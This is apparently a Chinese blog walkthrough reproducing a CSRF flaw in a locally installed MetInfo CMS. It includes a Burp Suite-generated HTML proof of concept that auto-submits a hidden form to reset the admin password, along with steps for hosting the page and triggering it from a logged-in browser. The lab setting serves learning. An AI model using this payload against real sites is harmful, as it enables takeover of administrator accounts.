CSRF漏洞概念:由于⽹站对⽤户⽹⻚浏览器的信任导致⽤户在当前已登录的Web站点的状态下,访问攻击者构造的攻击连接从⽽执⾏⾮本意的操作的漏洞
CSRF漏洞利⽤条件:
1.⽤户处于登陆⽬标⽹站的状态(Cookie)
2.⽤户点击攻击者发送的恶意URL连接
下面是详细的流程:
将所需要的 metinfo 文件放在网站的 www 目录下
浏览器访问:http://localhost/metinfo/ ,首先进行初始化
下滑到最下面,点击“我已仔细阅读以上协议并同意安装”
检查全部为通过状态,点击“下一步”
按照上述指引操作,其中数据库密码为你自己的数据库密码,然后点击“保存数据库设置并继续”
此时我们进入管理员设置页面,按照指示设置管理员信息,点击“保存管理设置”
这样我们就安装完毕了,然后点击“管理网站”进入后台登录系统
输入上面设置的账户密码登录即可进入后台,点击“用户-管理员”
点击“编辑”修改管理员登录密码
这个时候我们可以打开bp抓取提交的请求包,先打开拦截再点击“保存”
然后鼠标右键选择“相关工具”-“生成CSRF-PoC”
点击“复制HTML”
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="http://localhost/metinfo/admin/admin/save.php?action=editor&id=1&lang=cn&anyid=47&edtp=" method="POST">
<input type="hidden" name="useid" value="admin" />
<input type="hidden" name="nosql" value="1" />
<input type="hidden" name="pass1" value="123456" />
<input type="hidden" name="pass2" value="123456" />
<input type="hidden" name="name" value="" />
<input type="hidden" name="sex" value="1" />
<input type="hidden" name="tel" value="" />
<input type="hidden" name="mobile" value="15534315620" />
<input type="hidden" name="email" value="2987925711@qq.com" />
<input type="hidden" name="qq" value="" />
<input type="hidden" name="msn" value="" />
<input type="hidden" name="taobao" value="" />
<input type="hidden" name="admin_introduction" value="创始人" />
<input type="hidden" name="Submit" value="保存" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
注:上面圈住的地方是要攻击对象的网址
然后我们打开网站的 www 目录,在此目录下新建一个文本文档,将复制的HTML代码粘贴过来,并将文件后缀名改为‘.html’,这里我将其命名为 3.html
然后我们再打开另一个浏览器,模拟被攻击者,要确保用户保持登录状态,不然不会成功
然后访问:“http://localhost/3.html”
发现出现了以上页面,这里我们试试最开始的登录密码试着登录,显示密码错误
这时我们可以将登陆密码换成后面设置的试试,发现登录成功
这样我们就利用 CSRF 漏洞成功修改了管理员 admin 的密码
标签:CSRF,登录,漏洞,密码,点击,管理员,metinfo,csrf,复现 From: https://blog.csdn.net/2401_88387979/article/details/144488337